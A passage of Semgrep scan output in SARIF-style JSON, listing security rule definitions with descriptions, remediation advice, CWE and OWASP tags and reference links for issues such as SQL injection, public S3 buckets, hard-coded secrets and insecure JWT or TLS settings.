values."},"help":{"markdown":"Detected public S3 bucket. This policy allows anyone to have some kind of access to the bucket. The exact level of access and types of actions allowed will depend on the configuration of bucket policy and ACLs. Please review the bucket configuration to make sure they are set with intended values.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/json.aws.security.public-s3-bucket.public-s3-bucket)\n - [https://docs.aws.amazon.com/AmazonS3/latest/userguide/access-control-block-public-access.html](https://docs.aws.amazon.com/AmazonS3/latest/userguide/access-control-block-public-access.html)\n","text":"Detected public S3 bucket. This policy allows anyone to have some kind of access to the bucket. The exact level of access and types of actions allowed will depend on the configuration of bucket policy and ACLs. Please review the bucket configuration to make sure they are set with intended values."},"helpUri":"https://semgrep.dev/r/json.aws.security.public-s3-bucket.public-s3-bucket","id":"json.aws.security.public-s3-bucket.public-s3-bucket","name":"json.aws.security.public-s3-bucket.public-s3-bucket","properties":{"precision":"very-high","tags":["CWE-264: CWE CATEGORY: Permissions, Privileges, and Access Controls","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: json.aws.security.public-s3-bucket.public-s3-bucket"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected non-static command inside Write. Audit the input to '$CW.Write'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"help":{"markdown":"Detected non-static command inside Write. Audit the input to '$CW.Write'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.dangerous-command-write.dangerous-command-write)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected non-static command inside Write. Audit the input to '$CW.Write'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.dangerous-command-write.dangerous-command-write","id":"go.lang.security.audit.dangerous-command-write.dangerous-command-write","name":"go.lang.security.audit.dangerous-command-write.dangerous-command-write","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.dangerous-command-write.dangerous-command-write"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.spring.hibernate-sqli.hibernate-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"helpUri":"https://semgrep.dev/r/kotlin.spring.hibernate-sqli.hibernate-sqli","id":"kotlin.spring.hibernate-sqli.hibernate-sqli","name":"kotlin.spring.hibernate-sqli.hibernate-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.spring.hibernate-sqli.hibernate-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Make sure comparisons involving md5 values are strict (use `===` not `==`) to avoid type juggling issues"},"help":{"markdown":"Make sure comparisons involving md5 values are strict (use `===` not `==`) to avoid type juggling issues\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.md5-loose-equality.md5-loose-equality)\n - [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)\n - [https://www.whitehatsec.com/blog/magic-hashes/](https://www.whitehatsec.com/blog/magic-hashes/)\n","text":"Make sure comparisons involving md5 values are strict (use `===` not `==`) to avoid type juggling issues"},"helpUri":"https://semgrep.dev/r/php.lang.security.md5-loose-equality.md5-loose-equality","id":"php.lang.security.md5-loose-equality.md5-loose-equality","name":"php.lang.security.md5-loose-equality.md5-loose-equality","properties":{"precision":"very-high","tags":["CWE-697: Incorrect Comparison","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.md5-loose-equality.md5-loose-equality"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `DB['select * from items where name = ?', name]`"},"help":{"markdown":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `DB['select * from items where name = ?', name]`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.aws-lambda.security.sequel-sqli.sequel-sqli)\n - [https://github.com/jeremyevans/sequel#label-Arbitrary+SQL+queries](https://github.com/jeremyevans/sequel#label-Arbitrary+SQL+queries)\n","text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `DB['select * from items where name = ?', name]`"},"helpUri":"https://semgrep.dev/r/ruby.aws-lambda.security.sequel-sqli.sequel-sqli","id":"ruby.aws-lambda.security.sequel-sqli.sequel-sqli","name":"ruby.aws-lambda.security.sequel-sqli.sequel-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.aws-lambda.security.sequel-sqli.sequel-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"bcrypt hash detected"},"help":{"markdown":"bcrypt hash detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-bcrypt-hash.detected-bcrypt-hash)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"bcrypt hash detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-bcrypt-hash.detected-bcrypt-hash","id":"generic.secrets.security.detected-bcrypt-hash.detected-bcrypt-hash","name":"generic.secrets.security.detected-bcrypt-hash.detected-bcrypt-hash","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-bcrypt-hash.detected-bcrypt-hash"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected wildcard access granted in your ECR repository policy principal. This grants access to all users, including anonymous users (public access). Instead, limit principals, actions and resources to what you need according to least privilege."},"help":{"markdown":"Detected wildcard access granted in your ECR repository policy principal. This grants access to all users, including anonymous users (public access). Instead, limit principals, actions and resources to what you need according to least privilege.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-ecr-repository-wildcard-principal.aws-ecr-repository-wildcard-principal)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/ecr_repository_policy](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/ecr_repository_policy)\n - [https://docs.aws.amazon.com/lambda/latest/operatorguide/wildcard-permissions-iam.html](https://docs.aws.amazon.com/lambda/latest/operatorguide/wildcard-permissions-iam.html)\n - [https://docs.aws.amazon.com/prescriptive-guidance/latest/patterns/monitor-amazon-ecr-repositories-for-wildcard-permissions-using-aws-cloudformation-and-aws-config.html](https://docs.aws.amazon.com/prescriptive-guidance/latest/patterns/monitor-amazon-ecr-repositories-for-wildcard-permissions-using-aws-cloudformation-and-aws-config.html)\n - [https://cwe.mitre.org/data/definitions/732.html](https://cwe.mitre.org/data/definitions/732.html)\n","text":"Detected wildcard access granted in your ECR repository policy principal. This grants access to all users, including anonymous users (public access). Instead, limit principals, actions and resources to what you need according to least privilege."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-ecr-repository-wildcard-principal.aws-ecr-repository-wildcard-principal","id":"terraform.aws.security.aws-ecr-repository-wildcard-principal.aws-ecr-repository-wildcard-principal","name":"terraform.aws.security.aws-ecr-repository-wildcard-principal.aws-ecr-repository-wildcard-principal","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-ecr-repository-wildcard-principal.aws-ecr-repository-wildcard-principal"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Password is exposed through JWT token payload. This is not encrypted and the password could be compromised. Do not store passwords in JWT tokens."},"help":{"markdown":"Password is exposed through JWT token payload. This is not encrypted and the password could be compromised. Do not store passwords in JWT tokens.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.jwt.security.jwt-exposed-credentials.jwt-python-exposed-credentials)\n - [https://cwe.mitre.org/data/definitions/522.html](https://cwe.mitre.org/data/definitions/522.html)\n","text":"Password is exposed through JWT token payload. This is not encrypted and the password could be compromised. Do not store passwords in JWT tokens."},"helpUri":"https://semgrep.dev/r/python.jwt.security.jwt-exposed-credentials.jwt-python-exposed-credentials","id":"python.jwt.security.jwt-exposed-credentials.jwt-python-exposed-credentials","name":"python.jwt.security.jwt-exposed-credentials.jwt-python-exposed-credentials","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: python.jwt.security.jwt-exposed-credentials.jwt-python-exposed-credentials"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure that actions that can result in privilege escalation are not used. These actions could potentially result in an attacker gaining full administrator access of an AWS account. Try not to use these actions."},"help":{"markdown":"Ensure that actions that can result in privilege escalation are not used. These actions could potentially result in an attacker gaining full administrator access of an AWS account. Try not to use these actions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.iam.no-iam-priv-esc-funcs.no-iam-priv-esc-funcs)\n - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)\n - [https://cloudsplaining.readthedocs.io/en/latest/glossary/privilege-escalation/](https://cloudsplaining.readthedocs.io/en/latest/glossary/privilege-escalation/)\n","text":"Ensure that actions that can result in privilege escalation are not used. These actions could potentially result in an attacker gaining full administrator access of an AWS account. Try not to use these actions."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.iam.no-iam-priv-esc-funcs.no-iam-priv-esc-funcs","id":"terraform.lang.security.iam.no-iam-priv-esc-funcs.no-iam-priv-esc-funcs","name":"terraform.lang.security.iam.no-iam-priv-esc-funcs.no-iam-priv-esc-funcs","properties":{"precision":"very-high","tags":["CWE-250: Execution with Unnecessary Privileges","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.iam.no-iam-priv-esc-funcs.no-iam-priv-esc-funcs"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This gets data from session using user inputs. A malicious user may be able to retrieve information from your session that you didn't intend them to. Do not use user input as a session key."},"help":{"markdown":"## Remediation\nSession manipulation can occur when an application allows user-input in session keys. Since sessions are typically considered a source of truth (e.g. to check the logged-in user or to match CSRF tokens), allowing an attacker to manipulate the session may lead to unintended behavior.\n\n## References\n[Session Manipulation](https://brakemanscanner.org/docs/warning_types/session_manipulation/)\n\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.avoid-session-manipulation.avoid-session-manipulation)\n - [https://brakemanscanner.org/docs/warning_types/session_manipulation/](https://brakemanscanner.org/docs/warning_types/session_manipulation/)\n","text":"## Remediation\nSession manipulation can occur when an application allows user-input in session keys. Since sessions are typically considered a source of truth (e.g. to check the logged-in user or to match CSRF tokens), allowing an attacker to manipulate the session may lead to unintended behavior.\n\n## References\n[Session Manipulation](https://brakemanscanner.org/docs/warning_types/session_manipulation/)\n"},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.avoid-session-manipulation.avoid-session-manipulation","id":"ruby.rails.security.audit.avoid-session-manipulation.avoid-session-manipulation","name":"ruby.rails.security.audit.avoid-session-manipulation.avoid-session-manipulation","properties":{"precision":"very-high","tags":["CWE-276: Incorrect Default Permissions","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Allowing an attacker to manipulate the session may lead to unintended behavior."}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Allowing user input to `send_file` allows a malicious user to potentially read arbitrary files from the server. Avoid accepting user input in `send_file` or normalize with `File.basename(...)`"},"help":{"markdown":"Allowing user input to `send_file` allows a malicious user to potentially read arbitrary files from the server. Avoid accepting user input in `send_file` or normalize with `File.basename(...)`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.brakeman.check-send-file.check-send-file)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control/](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)\n","text":"Allowing user input to `send_file` allows a malicious user to potentially read arbitrary files from the server. Avoid accepting user input in `send_file` or normalize with `File.basename(...)`"},"helpUri":"https://semgrep.dev/r/ruby.rails.security.brakeman.check-send-file.check-send-file","id":"ruby.rails.security.brakeman.check-send-file.check-send-file","name":"ruby.rails.security.brakeman.check-send-file.check-send-file","properties":{"precision":"very-high","tags":["CWE-73: External Control of File Name or Path","MEDIUM CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.brakeman.check-send-file.check-send-file"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.psycopg2.python-psycopg2-hardcoded-connection-string.python-psycopg2-hardcoded-connection-string)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.psycopg2.python-psycopg2-hardcoded-connection-string.python-psycopg2-hardcoded-connection-string","id":"python.psycopg2.python-psycopg2-hardcoded-connection-string.python-psycopg2-hardcoded-connection-string","name":"python.psycopg2.python-psycopg2-hardcoded-connection-string.python-psycopg2-hardcoded-connection-string","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.psycopg2.python-psycopg2-hardcoded-connection-string.python-psycopg2-hardcoded-connection-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application's App Transport Security (ATS) configuration allows for insecure accessing of HTTP content in WebViews. This means that connections accessed in a WebView may be accessed via HTTP, potentially leaking that data to others on the local network, or to other network devices the network traffic traverses (proxies, firewalls, load balancers, etc)."},"help":{"markdown":"The application's App Transport Security (ATS) configuration allows for insecure accessing of HTTP content in WebViews. This means that connections accessed in a WebView may be accessed via HTTP, potentially leaking that data to others on the local network, or to other network devices the network traffic traverses (proxies, firewalls, load balancers, etc).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.insecure-communication.ats.ats-insecure-website-load.ATS-insecure-webview-loads)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication)\n","text":"The application's App Transport Security (ATS) configuration allows for insecure accessing of HTTP content in WebViews. This means that connections accessed in a WebView may be accessed via HTTP, potentially leaking that data to others on the local network, or to other network devices the network traffic traverses (proxies, firewalls, load balancers, etc)."},"helpUri":"https://semgrep.dev/r/swift.insecure-communication.ats.ats-insecure-website-load.ATS-insecure-webview-loads","id":"swift.insecure-communication.ats.ats-insecure-website-load.ATS-insecure-webview-loads","name":"swift.insecure-communication.ats.ats-insecure-website-load.ATS-insecure-webview-loads","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.insecure-communication.ats.ats-insecure-website-load.ATS-insecure-webview-loads"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"transferFrom() can steal allowance of other accounts"},"help":{"markdown":"transferFrom() can steal allowance of other accounts\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.redacted-cartel-custom-approval-bug.redacted-cartel-custom-approval-bug)\n - [https://medium.com/immunefi/redacted-cartel-custom-approval-logic-bugfix-review-9b2d039ca2c5](https://medium.com/immunefi/redacted-cartel-custom-approval-logic-bugfix-review-9b2d039ca2c5)\n - [https://etherscan.io/address/0x186E55C0BebD2f69348d94C4A27556d93C5Bd36C](https://etherscan.io/address/0x186E55C0BebD2f69348d94C4A27556d93C5Bd36C)\n","text":"transferFrom() can steal allowance of other accounts"},"helpUri":"https://semgrep.dev/r/solidity.security.redacted-cartel-custom-approval-bug.redacted-cartel-custom-approval-bug","id":"solidity.security.redacted-cartel-custom-approval-bug.redacted-cartel-custom-approval-bug","name":"solidity.security.redacted-cartel-custom-approval-bug.redacted-cartel-custom-approval-bug","properties":{"precision":"very-high","tags":["CWE-688: Function Call With Incorrect Variable or Reference as Argument","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.redacted-cartel-custom-approval-bug.redacted-cartel-custom-approval-bug"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected a sequelize statement that is tainted by user-input. This could lead to SQL injection if the variable is user-controlled and is not properly sanitized. In order to prevent SQL injection, it is recommended to use parameterized queries or prepared statements."},"help":{"markdown":"Detected a sequelize statement that is tainted by user-input. This could lead to SQL injection if the variable is user-controlled and is not properly sanitized. In order to prevent SQL injection, it is recommended to use parameterized queries or prepared statements.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sequelize.security.audit.sequelize-injection-express.express-sequelize-injection)\n - [https://sequelize.org/docs/v6/core-concepts/raw-queries/#replacements](https://sequelize.org/docs/v6/core-concepts/raw-queries/#replacements)\n","text":"Detected a sequelize statement that is tainted by user-input. This could lead to SQL injection if the variable is user-controlled and is not properly sanitized. In order to prevent SQL injection, it is recommended to use parameterized queries or prepared statements."},"helpUri":"https://semgrep.dev/r/javascript.sequelize.security.audit.sequelize-injection-express.express-sequelize-injection","id":"javascript.sequelize.security.audit.sequelize-injection-express.express-sequelize-injection","name":"javascript.sequelize.security.audit.sequelize-injection-express.express-sequelize-injection","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sequelize.security.audit.sequelize-injection-express.express-sequelize-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure FSX Lustre file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure FSX Lustre file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-fsx-lustre-files-ystem.aws-fsx-lustre-filesystem-encrypted-with-cmk)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Ensure FSX Lustre file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-fsx-lustre-files-ystem.aws-fsx-lustre-filesystem-encrypted-with-cmk","id":"terraform.aws.security.aws-fsx-lustre-files-ystem.aws-fsx-lustre-filesystem-encrypted-with-cmk","name":"terraform.aws.security.aws-fsx-lustre-files-ystem.aws-fsx-lustre-filesystem-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-fsx-lustre-files-ystem.aws-fsx-lustre-filesystem-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure AWS Redshift cluster is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure AWS Redshift cluster is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-redshift-cluster-encrypted-with-cmk.aws-redshift-cluster-encrypted-with-cmk)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Ensure AWS Redshift cluster is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-redshift-cluster-encrypted-with-cmk.aws-redshift-cluster-encrypted-with-cmk","id":"terraform.aws.security.aws-redshift-cluster-encrypted-with-cmk.aws-redshift-cluster-encrypted-with-cmk","name":"terraform.aws.security.aws-redshift-cluster-encrypted-with-cmk.aws-redshift-cluster-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-redshift-cluster-encrypted-with-cmk.aws-redshift-cluster-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"help":{"markdown":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.jsonwebtoken.security.jwt-none-alg.jwt-none-alg)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"helpUri":"https://semgrep.dev/r/javascript.jsonwebtoken.security.jwt-none-alg.jwt-none-alg","id":"javascript.jsonwebtoken.security.jwt-none-alg.jwt-none-alg","name":"javascript.jsonwebtoken.security.jwt-none-alg.jwt-none-alg","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.jsonwebtoken.security.jwt-none-alg.jwt-none-alg"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Set \"rejectUnauthorized\" to false is a convenient way to resolve certificate error. But this method is unsafe because it disables the server certificate verification, making the Node app open to MITM attack. \"rejectUnauthorized\" option must be alway set to True (default value). With self -signed certificate or custom CA, use \"ca\" option to define Root Certificate. This rule checks TLS configuration only for Postgresql, MariaDB and MySQL. SQLite is not really concerned by TLS configuration. This rule could be extended for MSSQL, but the dialectOptions is specific for Tedious."},"help":{"markdown":"Set \"rejectUnauthorized\" to false is a convenient way to resolve certificate error. But this method is unsafe because it disables the server certificate verification, making the Node app open to MITM attack. \"rejectUnauthorized\" option must be alway set to True (default value). With self -signed certificate or custom CA, use \"ca\" option to define Root Certificate. This rule checks TLS configuration only for Postgresql, MariaDB and MySQL. SQLite is not really concerned by TLS configuration. This rule could be extended for MSSQL, but the dialectOptions is specific for Tedious.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sequelize.security.audit.sequelize-tls-disabled-cert-validation.sequelize-tls-disabled-cert-validation)\n - [https://node-postgres.com/features/ssl](https://node-postgres.com/features/ssl)\n - [https://nodejs.org/api/tls.html#tls_class_tls_tlssocket](https://nodejs.org/api/tls.html#tls_class_tls_tlssocket)\n - [https://nodejs.org/api/tls.html#tls_tls_createsecurecontext_options](https://nodejs.org/api/tls.html#tls_tls_createsecurecontext_options)\n","text":"Set \"rejectUnauthorized\" to false is a convenient way to resolve certificate error. But this method is unsafe because it disables the server certificate verification, making the Node app open to MITM attack. \"rejectUnauthorized\" option must be alway set to True (default value). With self -signed certificate or custom CA, use \"ca\" option to define Root Certificate. This rule checks TLS configuration only for Postgresql, MariaDB and MySQL. SQLite is not really concerned by TLS configuration. This rule could be extended for MSSQL, but the dialectOptions is specific for Tedious."},"helpUri":"https://semgrep.dev/r/javascript.sequelize.security.audit.sequelize-tls-disabled-cert-validation.sequelize-tls-disabled-cert-validation","id":"javascript.sequelize.security.audit.sequelize-tls-disabled-cert-validation.sequelize-tls-disabled-cert-validation","name":"javascript.sequelize.security.audit.sequelize-tls-disabled-cert-validation.sequelize-tls-disabled-cert-validation","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sequelize.security.audit.sequelize-tls-disabled-cert-validation.sequelize-tls-disabled-cert-validation"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected subprocess function '$LOOP.subprocess_exec' with argument tainted by `event` object. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'."},"help":{"markdown":"Detected subprocess function '$LOOP.subprocess_exec' with argument tainted by `event` object. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.dangerous-asyncio-exec.dangerous-asyncio-exec)\n - [https://docs.python.org/3/library/asyncio-eventloop.html#asyncio.loop.subprocess_exec](https://docs.python.org/3/library/asyncio-eventloop.html#asyncio.loop.subprocess_exec)\n - [https://docs.python.org/3/library/shlex.html](https://docs.python.org/3/library/shlex.html)\n","text":"Detected subprocess function '$LOOP.subprocess_exec' with argument tainted by `event` object. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use 